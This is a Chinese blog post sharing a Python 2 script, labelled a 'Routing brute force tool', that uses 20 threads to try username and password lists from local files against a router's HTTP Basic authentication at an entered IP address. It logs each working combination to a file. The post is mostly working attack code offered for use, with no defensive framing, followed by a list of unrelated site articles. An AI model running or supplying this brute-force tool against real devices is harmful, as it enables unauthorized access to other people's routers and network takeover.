python实现多线程暴力破解登陆路由器功能代码分享
admin
2023-07-31 02:10:22
0

运行时请在其目录下添加user.txt passwd.txt两文件。否则会报错。程序没有加异常处理。代码比较挫…..

复制代码 代码如下:
#coding:utf-8-
import base64
import urllib2
import Queue
import threading,re,sys
queue = Queue.Queue()
class Rout_thread(threading.Thread):

  def __init__(self,queue,passwd):

    threading.Thread.__init__(self)
    self.queue=queue
    self.passwordlist=passwd
  def run(self):
    self.user=queue.get()
    for self.passwd in self.passwordlist:
      request = urllib2.Request(\”http://\”+target)
      psw_base64 = \”Basic \” + base64.b64encode(self.user + \”:\” + self.passwd)
      request.add_header(\’Authorization\’, psw_base64)
      try:
        
        response = urllib2.urlopen(request)
        print \”[+]Correct! Username: %s, password: %s\” % (self.user,self.passwd)
        fp3 = open(\’log.txt\’,\’a\’)
        fp3.write(self.user+\’||\’+self.passwd+\’\\r\\n\’)
        fp3.close()
      except urllib2.HTTPError:
        print \”[-]password:%s Error!\” % (self.passwd)

 

if __name__ == \’__main__\’:
  print \’\’\’
    #######################################################
    #                                                     #
    #                Routing brute force tool             #
    #                                                     #
    #                 by:well                             #
    #                                                    #
    #######################################################
\’\’\’
  passwordlist = []
  line = 20
  threads = []
  global target
  target = raw_input(\”input ip:\”)
  fp =open(\”user.txt\”)
  fp2=open(\”passwd.txt\”)
  for user in fp.readlines():
    queue.put(user.split(\’\\n\’)[0])
  for passwd in fp2.readlines():
    passwordlist.append(passwd.split(\’\\n\’)[0])
    #print passwordlist
      
  fp.close()
  fp2.close()
  for i in range(line):
    a = Rout_thread(queue,passwordlist)
    a.start()
    threads.append(a)
  for j in threads:
    j.join()

相关内容

热门资讯

500 行 Python 代码... 语法分析器描述了一个句子的语法结构,用来帮助其他的应用进行推理。自然语言引入了很多意外的歧义,以我们...
定时清理删除C:\Progra... C:\Program Files (x86)下面很多scoped_dir开头的文件夹 写个批处理 定...
65536是2的几次方 计算2... 65536是2的16次方:65536=2⁶ 65536是256的2次方:65536=256 6553...
Mobi、epub格式电子书如... 在wps里全局设置里有一个文件关联,打开,勾选电子书文件选项就可以了。
scoped_dir32_70... 一台虚拟机C盘总是莫名奇妙的空间用完,导致很多软件没法再运行。经过仔细检查发现是C:\Program...
小程序支付时提示:appid和... [Q]小程序支付时提示:appid和mch_id不匹配 [A]小程序和微信支付没有进行关联,访问“小...
pycparser 是一个用... `pycparser` 是一个用 Python 编写的 C 语言解析器。它可以用来解析 C 代码并构...
微信小程序使用slider实现... 众所周知哈,微信小程序里面的音频播放是没有进度条的,但最近有个项目呢,客户要求音频要有进度条控制,所...
python查找阿姆斯特朗数 题目解释 如果一个n位正整数等于其各位数字的n次方之和,则称该数为阿姆斯特朗数。 例如1^3 + 5...
Apache Doris 2.... 亲爱的社区小伙伴们,我们很高兴地向大家宣布,Apache Doris 2.0.0 版本已于...